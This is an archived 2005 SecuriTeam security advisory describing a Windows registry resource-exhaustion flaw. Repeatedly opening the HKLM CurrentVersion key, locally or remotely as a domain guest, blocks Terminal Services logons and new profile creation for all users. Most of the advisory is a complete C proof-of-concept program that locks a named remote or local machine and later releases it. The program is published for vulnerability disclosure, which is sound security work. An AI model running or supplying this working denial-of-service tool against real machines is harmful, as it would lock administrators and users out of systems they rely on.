[NT] HKLM CurrentVersion Locking

From: SecuriTeam (support_at_securiteam.com)
Date: 01/27/05

  • Next message: SecuriTeam: "[NT] Buffer Overflow in WinAMP in_cdda.dll CDA Device Name"
    To: list@securiteam.com
    Date: 27 Jan 2005 14:58:25 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      HKLM CurrentVersion Locking
    ------------------------------------------------------------------------

    SUMMARY

    If you open HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion key too many
    times, roughly 2^16, from one process, even remotely, logged on as at
    least as Domain Guest, you are able to deny access to everyone through the
    terminal services including domain administrators, enterprise
    administrators, etc.

    Locally, you are denying access to the users whose profiles are not yet
    created on particular machine, regardless of their privileges, because the
    profile cannot be created and request fails with "Insufficient resources"
    error.

    DETAILS

    Exploit:
    #include <windows.h>
    #include <stdio.h>
    #include <conio.h>
    #include <tchar.h>

    #define MAX_KEYS 1048576

    void PrintLastErrorString(DWORD gla);

    int _tmain(int argc, _TCHAR* argv[])
    {
     int i = 0;
     int ixKey = 0;

     _ftprintf(stdout,
      _T("\n")
      _T(".:. HKLM Locker POC Tool (C)2005 Vladimir Kraljevic .:.\n")
      _T("\n")
      _T("..:: Usage ::..\n")
      _T(" HKLMLocker.exe [machine name or its IP address]\n")
      _T("\n")
      _T("..:: Examples ::..\n")
      _T(" HKLMLocker.exe \\\\maindc.fabrikam.microsoft.com\n")
      _T(" HKLMLocker.exe 10.0.0.1\n")
      _T("\n")
      _T(" - if machine name is not supplied it'll run on local machine\n")
      _T(" - in the first step it locks specified target, then waits for
    enter\n")
      _T(" - when you press enter, it will close the resources and free the
    target\n")
      _T("\n\n")
      );
      
      HKEY hkMachine=HKEY_LOCAL_MACHINE;
      if(argc == 2) {
       HKEY hk=NULL;
       SetLastError(NO_ERROR);
       if(RegConnectRegistry(argv[1], HKEY_LOCAL_MACHINE,
        &hk)==ERROR_SUCCESS) {
        hkMachine=hk;
        _ftprintf(stdout, _T("\nINFO: Using HKLM on machine %s\n"),
         argv[1]);
       } else {
        _ftprintf(stderr, _T("\nERROR: Failed to open HKLM on machine %s\n"),
    argv[1]);
         PrintLastErrorString(GetLastError());
        return -1;
       }
      }
      _fputts(_T("\n"), stdout);
      
      HKEY* pkey;
      if((pkey=(HKEY*)malloc(sizeof(HKEY)*MAX_KEYS))==NULL) {
       _ftprintf(stderr, _T("\nERROR: Failed to alloc %u bytes\n"),
        sizeof(HKEY)*MAX_KEYS);
       goto L_end;
      }
      
      ixKey=0;
      for(i=0; i < MAX_KEYS; i++) {
       LONG result;
       HKEY hk;
       
       result=RegOpenKeyEx(hkMachine,
        _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"),
        0,
        KEY_READ,
        &hk);
       if(result==ERROR_SUCCESS) {
        if(i%100==0)
         _ftprintf(stdout, _T("\rOpening key % -16u"), i);
        pkey[ixKey++]=hk;
       } else {
        PrintLastErrorString(GetLastError());
        _ftprintf(stdout, _T("\nERROR: Error occured on key ordinal %u (thats
    OK for unpatched system :)"), i, ixKey);
         break;
       }
      }
      
      _fputts(_T("\nINPUT NEEDED: Waiting for a key to proceed to resource
    freeing\n"), stderr);
       getch();
      _fputts(_T("\n"), stdout);
      
      for(i=0; i < ixKey; i++) {
       if(i%100==0)
        _ftprintf(stdout, _T("\rFreeing key % -16u"), i);
       RegCloseKey(pkey[i]);
      }
      _ftprintf(stdout, _T("\rFreeing key % -16u\n"), ixKey);
      
      free(pkey);
      
    L_end:
      if(hkMachine!=HKEY_LOCAL_MACHINE)
       RegCloseKey(hkMachine);
      
      _fputts(_T("\nINPUT NEEDED: Waiting for a key to exit\n"), stderr);
      getch();
      
      return 0;
    }

    void PrintLastErrorString(DWORD gla)
    {
     if(gla==NO_ERROR)
      return;
     PVOID pbuffer=NULL;
     if(!FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|
      FORMAT_MESSAGE_FROM_SYSTEM,
      NULL,
      gla,
      0,
      (LPTSTR)&pbuffer,
      65535/sizeof(TCHAR),
      NULL)) {
      _ftprintf(stderr, _T("\nERROR: Failed to format message for
    GetLastError() code %u (%#08x)\n"), gla, gla);
       return;
     }
     _ftprintf(stderr, _T("\nERROR: DWORD=%u (%#08x), formatted: %s\n"), gla,
    gla, pbuffer);
     LocalFree(pbuffer);
    }

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:vladimir_kraljevic@yahoo.com> Vladimir Kraljevic.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Buffer Overflow in WinAMP in_cdda.dll CDA Device Name"

    Relevant Pages

    • [EXPL] iPool and iSnooker Local Password Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... iPool <= v1.6.81 Local Password Disclosure Exploit by Kozan ... Discovered & Coded by Kozan ... HKEY hKey; ...
      (Securiteam)
    • [TOOL] Fast SYN Scanner (libnet, libpcap)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... struct bpf_program cfilter; ... const unsigned char *packet; ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [TOOL] P0f - Passive OS Fingerprinting Tool
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Machines that connect to your box, ... Official SYN+ACK fingerprinting support ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] TinyWeb Server DoS Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [EXPL] 3Com FTP Server Buffer Overflow (CD)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... overflow in its parsing of the 'CD' command. ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)